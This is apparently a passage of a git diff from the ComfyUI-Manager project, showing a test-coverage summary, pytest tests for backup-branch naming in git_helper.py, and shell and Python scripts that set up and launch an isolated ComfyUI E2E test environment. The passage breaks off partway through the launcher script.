- `test_duplicate_enable` - Enable already enabled package
|
||||
- `test_duplicate_disable` - Disable already disabled package
|
||||
- `test_enable_disable_cycle` - Full cycle validation
|
||||
|
||||
---
|
||||
|
||||
### 6. Update API (4 tests)
|
||||
**File**: `tests/glob/test_update_api.py`
|
||||
|
||||
**Coverage**:
|
||||
- CNR package update operations
|
||||
- Nightly package update (git pull)
|
||||
- Already latest version handling
|
||||
- Update cycle validation
|
||||
|
||||
**Key Tests**:
|
||||
- `test_update_cnr_package` - Update CNR to latest
|
||||
- `test_update_nightly_package` - Update Nightly via git pull
|
||||
- `test_update_already_latest` - No-op when already latest
|
||||
- `test_update_cycle` - Multiple update operations
|
||||
|
||||
---
|
||||
|
||||
### 7. Installed API (Original Case) (4 tests)
|
||||
**File**: `tests/glob/test_installed_api_original_case.py`
|
||||
|
||||
**Coverage**:
|
||||
- Original case preservation in /installed API
|
||||
- CNR package original case validation
|
||||
- Nightly package original case validation
|
||||
- API response structure matching PyPI format
|
||||
|
||||
**Key Tests**:
|
||||
- `test_installed_api_preserves_original_case` - Original case in API response
|
||||
- `test_cnr_package_original_case` - CNR package case preservation
|
||||
- `test_nightly_package_original_case` - Nightly package case preservation
|
||||
- `test_api_response_structure_matches_pypi` - API structure validation
|
||||
|
||||
---
|
||||
|
||||
### 8. Case Sensitivity Integration (2 tests)
|
||||
**File**: `tests/glob/test_case_sensitivity_integration.py`
|
||||
|
||||
**Coverage**:
|
||||
- Case-insensitive package lookup
|
||||
- Full workflow with case variations
|
||||
|
||||
**Key Tests**:
|
||||
- `test_case_insensitive_lookup` - Lookup with different case
|
||||
- `test_case_sensitivity_full_workflow` - End-to-end case handling
|
||||
|
||||
---
|
||||
|
||||
## 📊 Test File Summary
|
||||
|
||||
| Test File | Tests | Lines | Primary Focus |
|
||||
|-----------|-------|-------|---------------|
|
||||
| `test_version_switching_comprehensive.py` | 19 | ~600 | Version management |
|
||||
| `test_complex_scenarios.py` | 12 | ~450 | Multi-version states |
|
||||
| `test_queue_task_api.py` | 8 | ~350 | Queue operations |
|
||||
| `test_nightly_downgrade_upgrade.py` | 5 | ~400 | Git operations |
|
||||
| `test_enable_disable_api.py` | 5 | ~200 | Enable/disable |
|
||||
| `test_update_api.py` | 4 | ~180 | Update operations |
|
||||
| `test_installed_api_original_case.py` | 4 | ~150 | API case handling |
|
||||
| `test_case_sensitivity_integration.py` | 2 | ~100 | Case integration |
|
||||
| **TOTAL** | **59** | **~2,430** | **All core features** |
|
||||
@@ -1,35 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Simple test result checker
|
||||
# Usage: ./tests/check_test_results.sh [logfile]
|
||||
|
||||
LOGFILE=${1:-/tmp/test-param-fix-final.log}
|
||||
|
||||
if [ ! -f "$LOGFILE" ]; then
|
||||
echo "Log file not found: $LOGFILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check if tests are complete
|
||||
if grep -q "Test Results Summary" "$LOGFILE"; then
|
||||
echo "========================================="
|
||||
echo "Test Results"
|
||||
echo "========================================="
|
||||
echo ""
|
||||
|
||||
# Show summary
|
||||
grep -A 30 "Test Results Summary" "$LOGFILE" | head -40
|
||||
|
||||
echo ""
|
||||
echo "========================================="
|
||||
|
||||
# Count passed/failed
|
||||
PASSED=$(grep -c "✅.*PASSED" "$LOGFILE")
|
||||
FAILED=$(grep -c "❌.*FAILED" "$LOGFILE")
|
||||
|
||||
echo "Environments: Passed=$PASSED, Failed=$FAILED"
|
||||
|
||||
else
|
||||
echo "Tests still running..."
|
||||
echo "Last 10 lines:"
|
||||
tail -10 "$LOGFILE"
|
||||
fi
|
||||
@@ -0,0 +1,173 @@
|
||||
"""Minimal tests for git_helper standalone execution and get_backup_branch_name.
|
||||
|
||||
git_helper.py runs as a subprocess on Windows and must NOT import comfyui_manager.
|
||||
Tests validate: (1) no forbidden imports via AST, (2) subprocess-level standalone
|
||||
execution, (3) get_backup_branch_name behavioural correctness.
|
||||
"""
|
||||
|
||||
import ast
|
||||
import pathlib
|
||||
import subprocess
|
||||
import sys
|
||||
import textwrap
|
||||
|
||||
import pytest
|
||||
|
||||
_GIT_HELPER_PATH = pathlib.Path(__file__).resolve().parents[2] / "comfyui_manager" / "common" / "git_helper.py"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 1. No comfyui_manager imports (AST check — no execution)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_no_comfyui_manager_import():
|
||||
"""git_helper.py must be free of comfyui_manager imports (Windows subprocess safety)."""
|
||||
tree = ast.parse(_GIT_HELPER_PATH.read_text(encoding="utf-8"))
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.ImportFrom) and node.module and "comfyui_manager" in node.module:
|
||||
pytest.fail(f"Forbidden import at line {node.lineno}: from {node.module}")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 2. Standalone subprocess execution (mirrors the actual Windows bug scenario)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def test_standalone_subprocess_can_load(tmp_path):
|
||||
"""git_helper.py must load in a subprocess without comfyui_manager on sys.path."""
|
||||
(tmp_path / "folder_paths.py").touch()
|
||||
|
||||
# Run git_helper.py in a clean subprocess with stripped sys.path.
|
||||
# git_helper.py has a module-level sys.argv dispatcher that calls sys.exit,
|
||||
# so we set argv to --check with a dummy path to avoid IndexError, then
|
||||
# catch the SystemExit to verify the function loaded successfully.
|
||||
script = textwrap.dedent(f"""\
|
||||
import sys, os
|
||||
sys.path = [p for p in sys.path
|
||||
if "comfyui_manager" not in p and "comfyui-manager" not in p]
|
||||
os.environ["COMFYUI_PATH"] = {str(tmp_path)!r}
|
||||
|
||||
import importlib.util
|
||||
spec = importlib.util.spec_from_file_location("git_helper", {str(_GIT_HELPER_PATH)!r})
|
||||
mod = importlib.util.module_from_spec(spec)
|
||||
|
||||
# Intercept sys.exit from module-level argv dispatcher
|
||||
real_exit = sys.exit
|
||||
exit_code = [None]
|
||||
def fake_exit(code=0):
|
||||
exit_code[0] = code
|
||||
raise SystemExit(code)
|
||||
sys.exit = fake_exit
|
||||
|
||||
try:
|
||||
spec.loader.exec_module(mod)
|
||||
except SystemExit:
|
||||
pass
|
||||
finally:
|
||||
sys.exit = real_exit
|
||||
|
||||
# The function must be defined regardless of argv dispatcher outcome
|
||||
assert hasattr(mod, "get_backup_branch_name"), "Function not defined"
|
||||
name = mod.get_backup_branch_name()
|
||||
assert name.startswith("backup_"), f"Bad name: {{name}}"
|
||||
print(f"OK: {{name}}")
|
||||
""")
|
||||
|
||||
result = subprocess.run(
|
||||
[sys.executable, "-c", script],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
assert result.returncode == 0, f"stderr: {result.stderr}"
|
||||
assert "OK: backup_" in result.stdout
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 3. get_backup_branch_name behavioural tests (function extracted via AST)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def _get_backup_branch_name():
|
||||
"""Extract and compile get_backup_branch_name from git_helper.py source."""
|
||||
source = _GIT_HELPER_PATH.read_text(encoding="utf-8")
|
||||
tree = ast.parse(source)
|
||||
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.FunctionDef) and node.name == "get_backup_branch_name":
|
||||
func_source = ast.get_source_segment(source, node)
|
||||
assert func_source is not None
|
||||
ns = {}
|
||||
exec(compile(ast.parse(func_source), "<test>", "exec"), ns) # noqa: S102
|
||||
return ns["get_backup_branch_name"]
|
||||
|
||||
pytest.fail("get_backup_branch_name not found in git_helper.py")
|
||||
|
||||
|
||||
class _FakeHead:
|
||||
def __init__(self, name):
|
||||
self.name = name
|
||||
|
||||
|
||||
class _FakeRepo:
|
||||
def __init__(self, branch_names):
|
||||
self.heads = [_FakeHead(n) for n in branch_names]
|
||||
|
||||
|
||||
def test_basic_name_format(_get_backup_branch_name):
|
||||
import time
|
||||
name = _get_backup_branch_name()
|
||||
assert name.startswith("backup_")
|
||||
expected = f"backup_{time.strftime('%Y%m%d_%H%M%S')}"
|
||||
assert name == expected
|
||||
|
||||
|
||||
def test_no_collision(_get_backup_branch_name):
|
||||
repo = _FakeRepo(["main", "dev"])
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name.startswith("backup_")
|
||||
|
||||
|
||||
def test_single_collision(_get_backup_branch_name):
|
||||
import time
|
||||
ts = time.strftime("%Y%m%d_%H%M%S")
|
||||
repo = _FakeRepo(["main", f"backup_{ts}"])
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name == f"backup_{ts}_1"
|
||||
|
||||
|
||||
def test_multi_collision(_get_backup_branch_name):
|
||||
import time
|
||||
ts = time.strftime("%Y%m%d_%H%M%S")
|
||||
repo = _FakeRepo([f"backup_{ts}", f"backup_{ts}_1", f"backup_{ts}_2"])
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name == f"backup_{ts}_3"
|
||||
|
||||
|
||||
def test_repo_none_returns_base(_get_backup_branch_name):
|
||||
name = _get_backup_branch_name(None)
|
||||
assert name.startswith("backup_")
|
||||
|
||||
|
||||
def test_repo_heads_exception_returns_base(_get_backup_branch_name):
|
||||
"""When repo.heads raises, fall back to base name without suffix."""
|
||||
|
||||
class _BrokenRepo:
|
||||
@property
|
||||
def heads(self):
|
||||
raise RuntimeError("simulated git error")
|
||||
|
||||
name = _get_backup_branch_name(_BrokenRepo())
|
||||
assert name.startswith("backup_")
|
||||
assert "_1" not in name # no suffix — exception path returns base
|
||||
|
||||
|
||||
def test_uuid_fallback_on_full_collision(_get_backup_branch_name):
|
||||
"""When all 99 suffixes are taken, fall back to UUID."""
|
||||
import time
|
||||
ts = time.strftime("%Y%m%d_%H%M%S")
|
||||
# All names from backup_TS through backup_TS_99 are taken
|
||||
taken = [f"backup_{ts}"] + [f"backup_{ts}_{i}" for i in range(1, 100)]
|
||||
repo = _FakeRepo(taken)
|
||||
name = _get_backup_branch_name(repo)
|
||||
assert name.startswith(f"backup_{ts}_")
|
||||
# UUID suffix is 6 hex chars
|
||||
suffix = name[len(f"backup_{ts}_"):]
|
||||
assert len(suffix) == 6, f"Expected 6-char UUID suffix, got: {suffix}"
|
||||
@@ -0,0 +1,211 @@
|
||||
"""Cross-platform E2E environment setup for ComfyUI + Manager.
|
||||
|
||||
Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
|
||||
Idempotent: skips setup if marker file and key artifacts already exist.
|
||||
|
||||
Input env vars:
|
||||
E2E_ROOT — target directory (required)
|
||||
MANAGER_ROOT — manager repo root (default: auto-detected)
|
||||
COMFYUI_BRANCH — ComfyUI branch to clone (default: master)
|
||||
|
||||
Output (last line of stdout):
|
||||
E2E_ROOT=/path/to/environment
|
||||
|
||||
Usage:
|
||||
python tests/e2e/scripts/setup_e2e_env.py
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
COMFYUI_REPO = "https://github.com/comfyanonymous/ComfyUI.git"
|
||||
PYTORCH_CPU_INDEX = "https://download.pytorch.org/whl/cpu"
|
||||
CONFIG_INI_CONTENT = """\
|
||||
[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
file_logging = false
|
||||
"""
|
||||
|
||||
|
||||
def log(msg: str) -> None:
|
||||
print(f"[setup_e2e] {msg}", flush=True)
|
||||
|
||||
|
||||
def die(msg: str) -> None:
|
||||
print(f"[setup_e2e] ERROR: {msg}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
|
||||
log(f" $ {' '.join(cmd)}")
|
||||
return subprocess.run(cmd, check=True, **kwargs)
|
||||
|
||||
|
||||
def detect_manager_root() -> Path:
|
||||
"""Walk up from this script to find pyproject.toml."""
|
||||
d = Path(__file__).resolve().parent
|
||||
while d != d.parent:
|
||||
if (d / "pyproject.toml").exists():
|
||||
return d
|
||||
d = d.parent
|
||||
die("Cannot detect MANAGER_ROOT (no pyproject.toml found)")
|
||||
raise SystemExit(1) # unreachable, for type checker
|
||||
|
||||
|
||||
def venv_python(root: Path) -> str:
|
||||
if sys.platform == "win32":
|
||||
return str(root / "venv" / "Scripts" / "python.exe")
|
||||
return str(root / "venv" / "bin" / "python")
|
||||
|
||||
|
||||
def venv_bin(root: Path, name: str) -> str:
|
||||
if sys.platform == "win32":
|
||||
return str(root / "venv" / "Scripts" / f"{name}.exe")
|
||||
return str(root / "venv" / "bin" / name)
|
||||
|
||||
|
||||
def is_already_setup(root: Path, manager_root: Path) -> bool:
|
||||
marker = root / ".e2e_setup_complete"
|
||||
comfyui = root / "comfyui"
|
||||
venv = root / "venv"
|
||||
config = root / "comfyui" / "user" / "__manager" / "config.ini"
|
||||
manager_link = root / "comfyui" / "custom_nodes" / "ComfyUI-Manager"
|
||||
return (
|
||||
marker.exists()
|
||||
and comfyui.is_dir()
|
||||
and venv.is_dir()
|
||||
and config.exists()
|
||||
and (manager_link.exists() or manager_link.is_symlink())
|
||||
)
|
||||
|
||||
|
||||
def link_manager(custom_nodes: Path, manager_root: Path) -> None:
|
||||
"""Create symlink or junction to manager source."""
|
||||
link = custom_nodes / "ComfyUI-Manager"
|
||||
if link.exists() or link.is_symlink():
|
||||
if link.is_symlink():
|
||||
link.unlink()
|
||||
elif link.is_dir():
|
||||
import shutil
|
||||
shutil.rmtree(link)
|
||||
|
||||
if sys.platform == "win32":
|
||||
# Windows: use directory junction (no admin privileges needed)
|
||||
subprocess.run(
|
||||
["cmd", "/c", "mklink", "/J", str(link), str(manager_root)],
|
||||
check=True,
|
||||
)
|
||||
else:
|
||||
link.symlink_to(manager_root)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
manager_root = Path(os.environ.get("MANAGER_ROOT", "")) or detect_manager_root()
|
||||
manager_root = manager_root.resolve()
|
||||
log(f"MANAGER_ROOT={manager_root}")
|
||||
|
||||
e2e_root_str = os.environ.get("E2E_ROOT", "")
|
||||
if not e2e_root_str:
|
||||
die("E2E_ROOT environment variable is required")
|
||||
root = Path(e2e_root_str).resolve()
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
log(f"E2E_ROOT={root}")
|
||||
|
||||
branch = os.environ.get("COMFYUI_BRANCH", "master")
|
||||
|
||||
# Idempotency
|
||||
if is_already_setup(root, manager_root):
|
||||
log("Environment already set up (marker file exists). Skipping.")
|
||||
print(f"E2E_ROOT={root}")
|
||||
return
|
||||
|
||||
# Step 1: Clone ComfyUI
|
||||
comfyui_dir = root / "comfyui"
|
||||
if (comfyui_dir / ".git").is_dir():
|
||||
log("Step 1/7: ComfyUI already cloned, skipping")
|
||||
else:
|
||||
log(f"Step 1/7: Cloning ComfyUI (branch={branch})...")
|
||||
run(["git", "clone", "--depth=1", "--branch", branch, COMFYUI_REPO, str(comfyui_dir)])
|
||||
|
||||
# Step 2: Create venv
|
||||
venv_dir = root / "venv"
|
||||
if venv_dir.is_dir():
|
||||
log("Step 2/7: venv already exists, skipping")
|
||||
else:
|
||||
log("Step 2/7: Creating virtual environment...")
|
||||
run(["uv", "venv", str(venv_dir)])
|
||||
|
||||
py = venv_python(root)
|
||||
|
||||
# Step 3: Install ComfyUI dependencies (CPU-only)
|
||||
log("Step 3/7: Installing ComfyUI dependencies (CPU-only)...")
|
||||
run([
|
||||
"uv", "pip", "install",
|
||||
"--python", py,
|
||||
"-r", str(comfyui_dir / "requirements.txt"),
|
||||
"--extra-index-url", PYTORCH_CPU_INDEX,
|
||||
])
|
||||
|
||||
# Step 3.5: Ensure pip is available in the venv (Manager needs it for per-pack installs)
|
||||
log("Step 3.5: Ensuring pip is available...")
|
||||
run(["uv", "pip", "install", "--python", py, "pip"])
|
||||
|
||||
# Step 4: Install Manager
|
||||
log("Step 4/7: Installing ComfyUI-Manager...")
|
||||
run(["uv", "pip", "install", "--python", py, str(manager_root)])
|
||||
|
||||
# Step 5: Link manager into custom_nodes
|
||||
log("Step 5/7: Linking Manager into custom_nodes...")
|
||||
custom_nodes = comfyui_dir / "custom_nodes"
|
||||
custom_nodes.mkdir(parents=True, exist_ok=True)
|
||||
link_manager(custom_nodes, manager_root)
|
||||
|
||||
# Step 6: Write config.ini
|
||||
log("Step 6/7: Writing config.ini...")
|
||||
config_dir = comfyui_dir / "user" / "__manager"
|
||||
config_dir.mkdir(parents=True, exist_ok=True)
|
||||
(config_dir / "config.ini").write_text(CONFIG_INI_CONTENT)
|
||||
|
||||
# Step 7: Verify
|
||||
log("Step 7/7: Verifying setup...")
|
||||
errors = 0
|
||||
|
||||
if not (comfyui_dir / "main.py").exists():
|
||||
log(" FAIL: comfyui/main.py not found")
|
||||
errors += 1
|
||||
|
||||
if not os.path.isfile(py):
|
||||
log(f" FAIL: venv python not found at {py}")
|
||||
errors += 1
|
||||
|
||||
link = custom_nodes / "ComfyUI-Manager"
|
||||
if not link.exists():
|
||||
log(f" FAIL: Manager link not found at {link}")
|
||||
errors += 1
|
||||
|
||||
# Check cm-cli is installed
|
||||
cm_cli = venv_bin(root, "cm-cli")
|
||||
if not os.path.isfile(cm_cli):
|
||||
log(f" FAIL: cm-cli not found at {cm_cli}")
|
||||
errors += 1
|
||||
|
||||
if errors:
|
||||
die(f"Verification failed with {errors} error(s)")
|
||||
|
||||
log("Verification OK")
|
||||
|
||||
# Write marker
|
||||
from datetime import datetime
|
||||
(root / ".e2e_setup_complete").write_text(datetime.now().isoformat())
|
||||
|
||||
log("Setup complete.")
|
||||
print(f"E2E_ROOT={root}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+241
@@ -0,0 +1,241 @@
|
||||
#!/usr/bin/env bash
|
||||
# setup_e2e_env.sh — Automated E2E environment setup for ComfyUI + Manager
|
||||
#
|
||||
# Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
|
||||
# Idempotent: skips setup if marker file and key artifacts already exist.
|
||||
#
|
||||
# Input env vars:
|
||||
# E2E_ROOT — target directory (default: auto-generated via mktemp)
|
||||
# MANAGER_ROOT — manager repo root (default: auto-detected from script location)
|
||||
# COMFYUI_BRANCH — ComfyUI branch to clone (default: master)
|
||||
# PYTHON — Python executable (default: python3)
|
||||
#
|
||||
# Output (last line of stdout):
|
||||
# E2E_ROOT=/path/to/environment
|
||||
#
|
||||
# Exit: 0=success, 1=failure
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# --- Constants ---
|
||||
COMFYUI_REPO="https://github.com/comfyanonymous/ComfyUI.git"
|
||||
PYTORCH_CPU_INDEX="https://download.pytorch.org/whl/cpu"
|
||||
CONFIG_INI_CONTENT="[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
file_logging = false"
|
||||
|
||||
# --- Logging helpers ---
|
||||
log() { echo "[setup_e2e] $*"; }
|
||||
err() { echo "[setup_e2e] ERROR: $*" >&2; }
|
||||
die() { err "$@"; exit 1; }
|
||||
|
||||
# --- Detect manager root by walking up from script dir to find pyproject.toml ---
|
||||
detect_manager_root() {
|
||||
local dir
|
||||
dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
while [[ "$dir" != "/" ]]; do
|
||||
if [[ -f "$dir/pyproject.toml" ]]; then
|
||||
echo "$dir"
|
||||
return 0
|
||||
fi
|
||||
dir="$(dirname "$dir")"
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# --- Validate prerequisites ---
|
||||
validate_prerequisites() {
|
||||
local py="${PYTHON:-python3}"
|
||||
local missing=()
|
||||
|
||||
command -v git >/dev/null 2>&1 || missing+=("git")
|
||||
command -v uv >/dev/null 2>&1 || missing+=("uv")
|
||||
command -v "$py" >/dev/null 2>&1 || missing+=("$py")
|
||||
|
||||
if [[ ${#missing[@]} -gt 0 ]]; then
|
||||
die "Missing prerequisites: ${missing[*]}"
|
||||
fi
|
||||
|
||||
# Verify Python version >= 3.9
|
||||
local py_version
|
||||
py_version=$("$py" -c "import sys; print(f'{sys.version_info.major}.{sys.version_info.minor}')")
|
||||
local major minor
|
||||
major="${py_version%%.*}"
|
||||
minor="${py_version##*.}"
|
||||
if [[ "$major" -lt 3 ]] || { [[ "$major" -eq 3 ]] && [[ "$minor" -lt 9 ]]; }; then
|
||||
die "Python 3.9+ required, found $py_version"
|
||||
fi
|
||||
log "Prerequisites OK (python=$py_version, git=$(git --version | awk '{print $3}'), uv=$(uv --version 2>&1 | awk '{print $2}'))"
|
||||
}
|
||||
|
||||
# --- Check idempotency: skip if already set up ---
|
||||
check_already_setup() {
|
||||
local root="$1"
|
||||
if [[ -f "$root/.e2e_setup_complete" ]] \
|
||||
&& [[ -d "$root/comfyui" ]] \
|
||||
&& [[ -d "$root/venv" ]] \
|
||||
&& [[ -f "$root/comfyui/user/__manager/config.ini" ]] \
|
||||
&& [[ -L "$root/comfyui/custom_nodes/ComfyUI-Manager" ]]; then
|
||||
log "Environment already set up at $root (marker file exists). Skipping."
|
||||
echo "E2E_ROOT=$root"
|
||||
exit 0
|
||||
fi
|
||||
}
|
||||
|
||||
# --- Verify the setup ---
|
||||
verify_setup() {
|
||||
local root="$1"
|
||||
local manager_root="$2"
|
||||
local venv_py="$root/venv/bin/python"
|
||||
local errors=0
|
||||
|
||||
log "Running verification checks..."
|
||||
|
||||
# Check ComfyUI directory
|
||||
if [[ ! -f "$root/comfyui/main.py" ]]; then
|
||||
err "Verification FAIL: comfyui/main.py not found"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check venv python
|
||||
if [[ ! -x "$venv_py" ]]; then
|
||||
err "Verification FAIL: venv python not executable"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check symlink
|
||||
local link_target="$root/comfyui/custom_nodes/ComfyUI-Manager"
|
||||
if [[ ! -L "$link_target" ]]; then
|
||||
err "Verification FAIL: symlink $link_target does not exist"
|
||||
((errors++))
|
||||
elif [[ "$(readlink -f "$link_target")" != "$(readlink -f "$manager_root")" ]]; then
|
||||
err "Verification FAIL: symlink target mismatch"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check config.ini
|
||||
if [[ ! -f "$root/comfyui/user/__manager/config.ini" ]]; then
|
||||
err "Verification FAIL: config.ini not found"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check Python imports
|
||||
# comfy is a local package inside ComfyUI (not pip-installed), and
|
||||
# comfyui_manager.__init__ imports from comfy — both need PYTHONPATH
|
||||
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfy" 2>/dev/null; then
|
||||
err "Verification FAIL: 'import comfy' failed"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfyui_manager" 2>/dev/null; then
|
||||
err "Verification FAIL: 'import comfyui_manager' failed"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
if [[ "$errors" -gt 0 ]]; then
|
||||
die "Verification failed with $errors error(s)"
|
||||
fi
|
||||
log "Verification OK: all checks passed"
|
||||
}
|
||||
|
||||
# ===== Main =====
|
||||
|
||||
# Resolve MANAGER_ROOT
|
||||
if [[ -z "${MANAGER_ROOT:-}" ]]; then
|
||||
MANAGER_ROOT="$(detect_manager_root)" || die "Cannot detect MANAGER_ROOT. Set it explicitly."
|
||||
fi
|
||||
MANAGER_ROOT="$(cd "$MANAGER_ROOT" && pwd)"
|
||||
log "MANAGER_ROOT=$MANAGER_ROOT"
|
||||
|
||||
# Validate prerequisites
|
||||
validate_prerequisites
|
||||
|
||||
PYTHON="${PYTHON:-python3}"
|
||||
COMFYUI_BRANCH="${COMFYUI_BRANCH:-master}"
|
||||
|
||||
# Create or use E2E_ROOT
|
||||
CREATED_BY_US=false
|
||||
if [[ -z "${E2E_ROOT:-}" ]]; then
|
||||
E2E_ROOT="$(mktemp -d -t e2e_comfyui_XXXXXX)"
|
||||
CREATED_BY_US=true
|
||||
log "Created E2E_ROOT=$E2E_ROOT"
|
||||
else
|
||||
mkdir -p "$E2E_ROOT"
|
||||
log "Using E2E_ROOT=$E2E_ROOT"
|
||||
fi
|
||||
|
||||
# Idempotency check
|
||||
check_already_setup "$E2E_ROOT"
|
||||
|
||||
# Cleanup trap: remove E2E_ROOT on failure only if we created it
|
||||
cleanup_on_failure() {
|
||||
local exit_code=$?
|
||||
if [[ "$exit_code" -ne 0 ]] && [[ "$CREATED_BY_US" == "true" ]]; then
|
||||
err "Setup failed. Cleaning up $E2E_ROOT"
|
||||
rm -rf "$E2E_ROOT"
|
||||
fi
|
||||
}
|
||||
trap cleanup_on_failure EXIT
|
||||
|
||||
# Step 1: Clone ComfyUI
|
||||
log "Step 1/8: Cloning ComfyUI (branch=$COMFYUI_BRANCH)..."
|
||||
if [[ -d "$E2E_ROOT/comfyui/.git" ]]; then
|
||||
log " ComfyUI already cloned, skipping"
|
||||
else
|
||||
git clone --depth=1 --branch "$COMFYUI_BRANCH" "$COMFYUI_REPO" "$E2E_ROOT/comfyui"
|
||||
fi
|
||||
|
||||
# Step 2: Create virtual environment
|
||||
log "Step 2/8: Creating virtual environment..."
|
||||
if [[ -d "$E2E_ROOT/venv" ]]; then
|
||||
log " venv already exists, skipping"
|
||||
else
|
||||
uv venv "$E2E_ROOT/venv"
|
||||
fi
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
|
||||
# Step 3: Install ComfyUI dependencies
|
||||
log "Step 3/8: Installing ComfyUI dependencies (CPU-only)..."
|
||||
uv pip install \
|
||||
--python "$VENV_PY" \
|
||||
-r "$E2E_ROOT/comfyui/requirements.txt" \
|
||||
--extra-index-url "$PYTORCH_CPU_INDEX"
|
||||
|
||||
# Step 4: Install ComfyUI-Manager (non-editable, production-like)
|
||||
log "Step 4/8: Installing ComfyUI-Manager..."
|
||||
uv pip install --python "$VENV_PY" "$MANAGER_ROOT"
|
||||
|
||||
# Step 5: Create symlink for custom_nodes discovery
|
||||
log "Step 5/8: Creating custom_nodes symlink..."
|
||||
mkdir -p "$E2E_ROOT/comfyui/custom_nodes"
|
||||
local_link="$E2E_ROOT/comfyui/custom_nodes/ComfyUI-Manager"
|
||||
if [[ -L "$local_link" ]]; then
|
||||
log " Symlink already exists, updating"
|
||||
rm -f "$local_link"
|
||||
fi
|
||||
ln -s "$MANAGER_ROOT" "$local_link"
|
||||
|
||||
# Step 6: Write config.ini to correct path
|
||||
log "Step 6/8: Writing config.ini..."
|
||||
mkdir -p "$E2E_ROOT/comfyui/user/__manager"
|
||||
echo "$CONFIG_INI_CONTENT" > "$E2E_ROOT/comfyui/user/__manager/config.ini"
|
||||
|
||||
# Step 7: Create HOME isolation directories
|
||||
log "Step 7/8: Creating HOME isolation directories..."
|
||||
mkdir -p "$E2E_ROOT/home/.config"
|
||||
mkdir -p "$E2E_ROOT/home/.local/share"
|
||||
mkdir -p "$E2E_ROOT/logs"
|
||||
|
||||
# Step 8: Verify setup
|
||||
log "Step 8/8: Verifying setup..."
|
||||
verify_setup "$E2E_ROOT" "$MANAGER_ROOT"
|
||||
|
||||
# Write marker file
|
||||
date -Iseconds > "$E2E_ROOT/.e2e_setup_complete"
|
||||
|
||||
# Clear the EXIT trap since setup succeeded
|
||||
trap - EXIT
|
||||
|
||||
log "Setup complete."
|
||||
echo "E2E_ROOT=$E2E_ROOT"
|
||||
Executable
+129
@@ -0,0 +1,129 @@
|
||||
#!/usr/bin/env bash
|
||||
# start_comfyui.sh — Foreground-blocking ComfyUI launcher for E2E tests
|
||||
#
|
||||
# Starts ComfyUI in the background, then blocks the foreground until the server
|
||||
# is ready (or timeout). This makes it safe to call from subprocess.run() or
|
||||
# Claude's Bash tool — the call returns only when ComfyUI is accepting requests.
|
||||
#
|
||||
# Input env vars:
|
||||
# E2E_ROOT — (required) path to E2E environment from setup_e2e_env.sh
|
||||
# PORT — ComfyUI listen port (default: 8199)
|
||||
# TIMEOUT — max seconds to wait for readiness (default: 120)
|
||||
#
|
||||
# Output (last line on success):
|
||||
# COMFYUI_PID=<pid> PORT=<port>
|
||||
#
|
||||
# Exit: 0=ready, 1=timeout/failure
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# --- Defaults ---
|
||||
PORT="${PORT:-8199}"
|
||||
TIMEOUT="${TIMEOUT:-120}"
|
||||
|
||||
# --- Logging helpers ---
|
||||
log() { echo "[start_comfyui] $*"; }
|
||||
err() { echo "[start_comfyui] ERROR: $*" >&2; }
|
||||
die() { err "$@"; exit 1; }
|
||||
|
||||
# --- Validate environment ---
|
||||
[[ -n "${E2E_ROOT:-}" ]] || die "E2E_ROOT is not set"
|
||||
[[ -d "$E2E_ROOT/comfyui" ]] || die "ComfyUI not found at $E2E_ROOT/comfyui"
|
||||
[[ -x "$E2E_ROOT/venv/bin/python" ]] || die "venv python not found at $E2E_ROOT/venv/bin/python"
|
||||
[[ -f "$E2E_ROOT/.e2e_setup_complete" ]] || die "Setup marker not found. Run setup_e2e_env.sh first."
|
||||
|
||||
PY="$E2E_ROOT/venv/bin/python"
|
||||
COMFY_DIR="$E2E_ROOT/comfyui"
|
||||
LOG_DIR="$E2E_ROOT/logs"
|
||||
LOG_FILE="$LOG_DIR/comfyui.log"
|
||||
PID_FILE="$LOG_DIR/comfyui.pid"
|
||||
|
||||
mkdir -p "$LOG_DIR"
|
||||
|
||||
# --- Check/clear port ---
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
log "Port $PORT is in use. Attempting to stop existing process..."
|
||||
# Try to read existing PID file
|
||||
if [[ -f "$PID_FILE" ]]; then
|
||||
OLD_PID="$(cat "$PID_FILE")"
|
||||
